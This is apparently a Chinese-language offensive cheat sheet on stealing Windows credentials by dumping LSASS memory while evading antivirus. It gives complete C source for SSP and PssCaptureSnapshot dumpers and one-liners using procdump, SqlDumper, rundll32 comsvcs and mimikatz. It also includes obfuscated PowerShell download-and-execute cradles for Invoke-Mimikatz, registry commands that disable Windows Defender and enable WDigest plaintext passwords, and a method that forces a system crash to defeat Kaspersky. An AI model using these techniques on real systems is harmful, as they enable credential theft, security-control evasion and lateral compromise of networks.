一、使用RPC控制lsass加載SSP,實現DUMP LSASS繞過殺軟
1.已編譯好的ssp.dll(建議自己編譯)
spp.dll 需要修改為完整的絕對路徑,測試環境是win2012 管理員權限,提取的文件在C:\Windows\Temp\temp.bin,在windows 10 可能需要system權限。
編譯成功的spp.dll文件以及loader注入器:
https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/loader.zip
loader.exe ssp.dll
mimikatz # sekurlsa::minidump teamp.bin
mimikatz # sekurlsa::logonPasswords full
2.編譯以及注意點
(1).所編譯的.h 文件是 x64,不能用x86進行編譯;生成.h文件直接寫一個idl文件就可以生成,至於為什麼要用x64的編譯是因為xpn師傅當時只分析了x64的ssp註冊流程,寫的也是x64的流程,而且x86的註冊api也是不一樣的, x86並沒有NdrClientCall3這個函數,win10用的是NdrClientCall4封裝的NdrClientCall2,win7直接用的NdrClientCall2,要兼容x86你需要按照xpn師傅的文章重新分析然後重寫註冊流程。
(2).使用vs 2015,靜態庫中使用MFC進行編譯
(3).注意編譯的路徑和文件名以及lass.exe的進程ID值
(4).編譯 的ssp.dll代碼:
https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0
// dllmain.cpp : 定義 DLL 應用程式的入口點。
#include "pch.h"
#include <stdio.h>
#include <windows.h>
#include <DbgHelp.h>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetPid()
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot Error!");
return false;
}
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult)
{
if (_stricmp(pe32.szExeFile, "lsass.exe") == 0)
{
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return -1;
}
int Dump_Lsass() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary("comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle("ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL || RtlAdjustPrivilege == NULL)
{
return 0;
}
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
int pid = GetPid();
if (pid != -1)
{
swprintf(ws, 100, L"%d %hs", pid, "c:\\users\\public\\1.Dmp full"); #需要注意這裡輸出的路徑和文件名,,以及pid進程值
}
else {
return 0;
}
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
Dump_Lsass();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
或者
#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment(lib,"Dbghelp.lib")
typedef HRESULT(WINAPI* _MiniDumpW)(
DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
swprintf(ws, 100, L"%hs", "784 c:\\1.bin full"); //784是lsass進程的pid號 "<pid> <dump.bin> full"
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
寫了DUMP LSASS的DLL:
inject_lass_dump.exe dump_dll.dll
Project6.exe
3.參考連結
XPN的分析:https://blog.xpnsec.com/exploring-mimikatz-part-2/
三好學生的分析:的分析https://3gstudent.github.io/3gstudent.github.io/Mimikatz%E4%B8%ADSSP%E7%9A%84%E4%BD%BF%E7%94%A8/
奇安信編譯讓殺軟:
https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/
4.總結
該方法需要自己編譯,需要知道目標系統的lass.exe進程的ID值,以及設置輸出的路徑,編譯有點麻煩,可以繞過大多數殺軟,如繞過卡巴斯基
二、使用Masterkey工具獲取密碼(windows10和win7下測試成功)1. 查看目標遠程憑據(如果有文件就相當於有憑據):
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
#如果此文件下沒有發現評級,可使用cmdkey /list 命令後一般出現了憑據信息,如果還是沒出現文件,說明文件是隱藏的,可以把隱藏系統文件勾選取消了或者使用命令dir /a進行查看。
#dir /a C:\Users\每個用戶\AppData\Local\Microsoft\Credentials\ //會把所有登錄的用戶的憑據加密文件都找出來
2. 將此文件夾中的文件從目標機遠程下載到本地的C:\a文件夾中
3. 在目標機上使用procdump獲取目標lsass.exe內存
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
4. 將lsass.dmp複製到本地,選擇一個剛剛下載下來的密碼文件對其進行解密。此處需要記錄下guidMasterKey的值。
mimikatz # dpapi::cred /in:C:\a\DACFAEA5B624B4361794A2CC8AED1460
5. 本地使用命令加載dmp並獲取guidMasterKey:
mimikatz# sekurlsa::minidump lsass.dmp //將lsaa.dmp導入mimikatz# sekurlsa::dpapi
6.複製此Masterkey,並執行命令解密:
mimikatz # dpapi::cred /in:C:\a\DACFAEA5B624B4361794A2CC8AED1460 /masterkey:6e65bc98836fcd5cd41c2d28ec96e538804c8b4d0419569b54a1be526f998192b1791ee40d995e6b4a9b3f126
7.解密成功,獲取到目標遠程連接的帳號與密碼:
8.總結:
(1).方法只需要管理員權限,而非system權限,可導出guidMasterKe文件
(2).需要結合微軟自帶的工具procdump導出lasss.exe
(3).然後將其guidMasterKe文件和lass.exe文件下載到本地通過mimiktaz進行讀取解密,是繞過殺軟獲取明文的方法。
1.powershell版的procdump
下載地址:https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-ProcessMiniDump.ps1
(1).獲得lsass.exe的進程ID
tasklist /svc |findstr lsass.exe
(2).本地dump lsass.exe進程的內存文件
powershell -exec bypass "import-module .\Get-ProcessMiniDump.ps1;Get-ProcessMiniDump -ProcID 660 -Path C:\windows\tasks\lsass.dmp"
(3)遠程 dump lsass.exe進程的內存文件
powershell.exe IEX (New-Object Net.WebClient).DownloadString('
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-ProcessMiniDump.ps1
');Get-ProcessMiniDump -ProcID 660 -Path C:\windows\tasks\lsass.dmp"
(4).mimikatz獲取本地密碼
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonPasswords full
2.微軟自帶的工具ProcDump
https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
(1).Procdump.exe -accepteula -ma lsass.exe lsass.dmp
(2).把lsass.dmp下載到本地,放在同樣的系統(目標是windows2008-->本地也用Windows2008)
(3).mimikatz加載lsass.dmp
sekurlsa::minidump lsass.dmp
(4).抓取密碼
sekurlsa::logonPasswords full
3.一建命令
dump_passwd.bat
@echo off
color 0a
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" > p6sw4d.txt
4.總結
(1).Get-ProcessMiniDump.ps1和procdump相比,優點在於Get-ProcessMiniDump.ps1可以使用IEX方式遠程下載執行,從而達到不落地的目的;
(2).當然procdump為微軟自己的工具免殺應該會好一些,在有卡巴斯基的機器上執行powershell是會被攔截的。
四、SqlDumper.exe 獲取密碼1.如果目標系統上安裝了windows sql server ,SqlDumper.exe默認存放在c:\Program Files\Microsoft SQL Server\number\Shared,其中number代表sql server的版本
140 for SQL Server 2017
130 for SQL Server 2016
120 for SQL Server 2014
110 for SQL Server 2012
100 for SQL Server 2008
90 for SQL Server 2005
我本地安裝的是Windows sql server 2016 所以我的SqlDumper.exe在這個位置C:\Program Files\Microsoft SQL Server\130\Shared\ -
2.如果目標沒有安裝Windows sql server ,可以自己上傳一個SqlDumper.exe和procdump.exe一樣,都是微軟自己的,不會存在被AV殺掉的可能,除非安裝的殺毒軟體有dump內存文件保護:
3.SqlDumper.exe的大小遠小於procdump.exe、procdump64.exe
4.使用方法:
(1).查看lsass.exe 的ProcessID
tasklist /svc |findstr lsass.exe
(2).根據ProcessID來dump 內存文件,Full dump file執行成功後會生產SQLDmpr0001.mdmp文件
Sqldumper.exe ProcessID 0 0x01100
5.mimikatz加載dump文件
sekurlsa::minidump SQLDmpr0001.mdmpsekurlsa::logonPasswords full
6.批處理命令執行
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do Sqldumper.exe %i 0 0x01100
sqldumper.exe 1036 0 0x01100
7.總結:
(1).sql2012版依賴msvcr100.dll,sql2016版依賴msvcr120.dll
(2).SqlDumper.exe體積大小於procdump.exe、procdump64.exe,命令行操作,微軟自己東西,免殺。
(3).針對內存保護的殺軟是無法導出的,如卡巴斯基,NOD32
五、mimikatz工具獲取密碼1.自身命令獲取密碼
https://github.com/gentilkiwi/mimikatz/releases
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" #在命令窗口中顯示
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords full" "exit" > p6sw4d.txt #導出到一個記事本文件中顯示
2.powershell版本的mimikatz
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
(1).本地執行
C:\Users\test\Desktop>powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"
(2).遠程加載
powershell.exe IEX (New-Object Net.WebClient).DownloadString('
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
');Invoke-Mimikatz
或者
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
(3).Invoke-Mimikatz簡單混淆就bypass
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.0'+'.101/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
3.windwos10以及以上抓取明文:
(1).臨時禁止Windows Defender
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
gpupdate /force #鍵值為1時Wdigest Auth保存明文口令,為0則不保存明文
(2).修改註冊表開啟UseLogonCredential
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
(3).等用戶下次再登錄的時候,可抓到明文密碼
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit
4.powershell 免殺抓明文 :
powershell "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1'); Get-Process lsass | Out-Minidump -DumpFilePath c:\windows\temp"
只需把 dmp 文件拖到本機機器再用 mimikatz.exe 加載 lsass_504.dmp 文件讀取即可
# mimikatz.exe "sekurlsa::minidump lsass_504.dmp" "sekurlsa::logonPasswords full" exit
5.總結
(1).可以直接抓取win7以下的系統明文密碼,不免殺,需要自己修改,對代碼進行修改,重新編譯免殺mimikatz
(2).win 8,8.1,2012,10,16修改改註冊表下次系統登錄可抓取明文密碼
六、QuarksPwDump導出密碼https://github.com/quarkslab/quarkspwdump
QuarksPwDump.exe -dhl
總結:該工具不免殺,容易被殺
七、wce導出密碼https://www.ampliasecurity.com/research/wcefaq.html
wce.exe -w
總結:該工具只能用於windows2003.winxp系統中
八、pwdump7導出密碼http://www.tarasco.org/security/pwdump_7/index.html
PwDump7.exe
總結:該工具不免殺
九、LaZagne導出密碼
https://github.com/AlessandroZ/LaZagne
laZagne_x86.exe windows總結:該工具不免殺
十、任務管理器內存dump1.通過以下操作可先獲取到lsass內存文件,然後使用mimikatz可進一步讀取密碼
2.可發現成功的創建了一個dmp文件,把它拷貝到本地,然後使用mimikatz恢復獲取明文
mimikatz.exe "sekurlsa::minidump c:\lsass.dmp""sekurlsa::logonPasswords full" "exit" >pass64.txt
https://github.com/GhostPack/SharpDump
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do SharpDump.exe %i
sharpdump.exe lass.exe進程ID
體積小[也就 9k 左右],免殺[實測 nod32 沒啥問題]暫時還可以,默認它會自動 dump lsass.exe 進程數據,當然,你也可以指定進程 id 來 dump,在一些斷網環境下很實用,如
下,先在目標機器上把 lsass.exe 進程數據導出來
之後,依然是回到本機機器用 mimikatz.exe 讀取剛剛 dump 出的文件,特別注意,dump 的文件默認是 bin 後綴,拖到本地機器以後,需要自行把 bin 重命名為 zip 的後綴,然後正常解壓處裡面的文件,再丟給 mimikatz 去讀取即可,如下
# mimikatz.exe "sekurlsa::minidump debug504" "sekurlsa::logonPasswords full" "exit"
1.批處理命令執行
https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump %i .\lsass.dmp full
rundll32.exe C:\windows\System32\comsvcs.dll,MiniDump 856 .\lass.dmp full
2.powershell版本執行
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 460 C:\lsass.dmp full" (460是lsass.exe的進程,因系統不同,所以部分機器的pid值不同,利用comsvcs.dll 文件中的MiniDump 函數來Dump)
mimikatz.exe "sekurlsa::minidump c:\lsass.dmp" "sekurlsa::logonpasswords full" "exit" > fb.txt
1.管理員執行:
reg save hklm\sam .\sam.hive® save hklm\system .\system.hive
2.將兩個文件拷貝到本地,然後導入SAMInside並將NT-Hash複製出來去相關網站查詢即可(mimikatz也可以讀)
十四、通過Windows藍屏文件來繞過kaspersky的內存保護抓密碼卡巴以及小紅傘均對lsass.exe進行了保護,導致微軟出的兩款工具以及他自己的kldumper都無法用於dump lsass。但是可以通過製造藍屏來獲取所有內存的文件MEMORY.DMP沒然後在提出lsass進一步讀取。
需要的工具:WinDBG+mimilib.dll
測試環境一:win8.1
kaspersky2019(病毒庫為2018.10.25號的)
1.首先我用procdump來dump lsass.exe的內存文件
2.再用我在https://www.t00ls.net/thread-47663-1-1.html中分享的用sqldump來dump,結局都一樣,因為sqldump和procdump的原理都一樣
3.下面我們就用Windows藍屏memory.dmp文件來測試
獲取藍屏後的dmp文件,使系統藍屏的方法有很多,比如說強制結束系統進程,我這裡選擇強制結束系統進程wininit.exe
管理員權限運行cmd後,執行taskkill /f /im "wininit.exe"
4.取回存在於C:\Windows\文件夾下面的MEMORY.DMP文件
5.運行windbg,使用Open the crashdump加載MEMORY.DMP
6.加載mimikatz的mimilib.dll
.load C:\Users\Administrator\Desktop\qqq\mimilib.dll注意load 前面那個點別漏掉
7.設置微軟符號伺服器(這一步在測試中可有可無)
.SymFix
8.重新加載
.Reload
9.查看lsass.exe進程的內存地址
!process 0 0 lsass.exe
10.切換到lsass.exe進程中
.process /r /p fffffa800e069b00
11.運行mimikatz
!mimikatz
12.總結:
缺點:
(1).使用這種方法抓密碼,需要機器重啟一次,藍屏一次,而且第一次重啟之後你想要的user得重新登陸後才行
(2).memory.dmp文件會很大
優點:
(1).繞過kaspersky對內存的保護
使用PssCaptureSnapshot的好處是,當獲取明文時調用MiniDumpWriteDump時,它不會直接讀取lsass進程內存,而是從進程的快照中讀取。在MiniDumpWriteDump調用中使用由PssCaptureSnapshot返回的句柄,而不是LSASS進程句柄
代碼如下:
#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#include <processsnapshot.h>
#pragma comment (lib, "Dbghelp.lib")
using namespace std;
BOOL CALLBACK MyMiniDumpWriteDumpCallback(
__in PVOID CallbackParam,
__in const PMINIDUMP_CALLBACK_INPUT CallbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT CallbackOutput
)
{
switch (CallbackInput->CallbackType)
{
case 16: // IsProcessSnapshotCallback
CallbackOutput->Status = S_FALSE;
break;
}
return TRUE;
}
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
HANDLE snapshotHandle = NULL;
DWORD flags = (DWORD)PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION;
MINIDUMP_CALLBACK_INFORMATION CallbackInfo;
ZeroMemory(&CallbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
CallbackInfo.CallbackRoutine = &MyMiniDumpWriteDumpCallback;
CallbackInfo.CallbackParam = NULL;
PssCaptureSnapshot(lsassHandle, (PSS_CAPTURE_FLAGS)flags, CONTEXT_ALL, (HPSS*)&snapshotHandle);
BOOL isDumped = MiniDumpWriteDump(snapshotHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
PssFreeSnapshot(GetCurrentProcess(), (HPSS)snapshotHandle);
return 0;
}
十六、獲取本地密碼工具https://github.com/TheKingOfDuck/hashdump
https://github.com/outflanknl/Dumpert